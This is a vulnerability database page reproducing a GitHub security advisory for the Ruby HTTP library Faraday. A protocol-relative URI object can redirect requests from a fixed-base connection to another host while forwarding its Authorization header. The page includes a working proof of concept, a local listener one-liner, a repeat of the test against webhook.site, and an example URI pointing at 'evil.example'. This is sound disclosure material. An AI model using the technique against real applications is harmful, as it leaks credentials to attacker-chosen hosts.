GHSA-5RV5-XJ5J-3484
Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33637"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T14:51:51Z",
"nvd_published_at": "2026-05-19T19:16:49Z",
"severity": "LOW"
},
"details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n - `lib/faraday/connection.rb`\n - `lib/faraday/request.rb`\n - `spec/faraday/connection_spec.rb`\n - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n - `Faraday::Connection#build_exclusive_url`\n - `Faraday::Connection#run_request`\n - `Faraday::Request#url`\n - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n - `Faraday 2.14.1`\n - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n url: \"http://trusted.example/base\",\n headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
"id": "GHSA-5rv5-xj5j-3484",
"modified": "2026-06-05T14:12:03Z",
"published": "2026-05-18T14:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.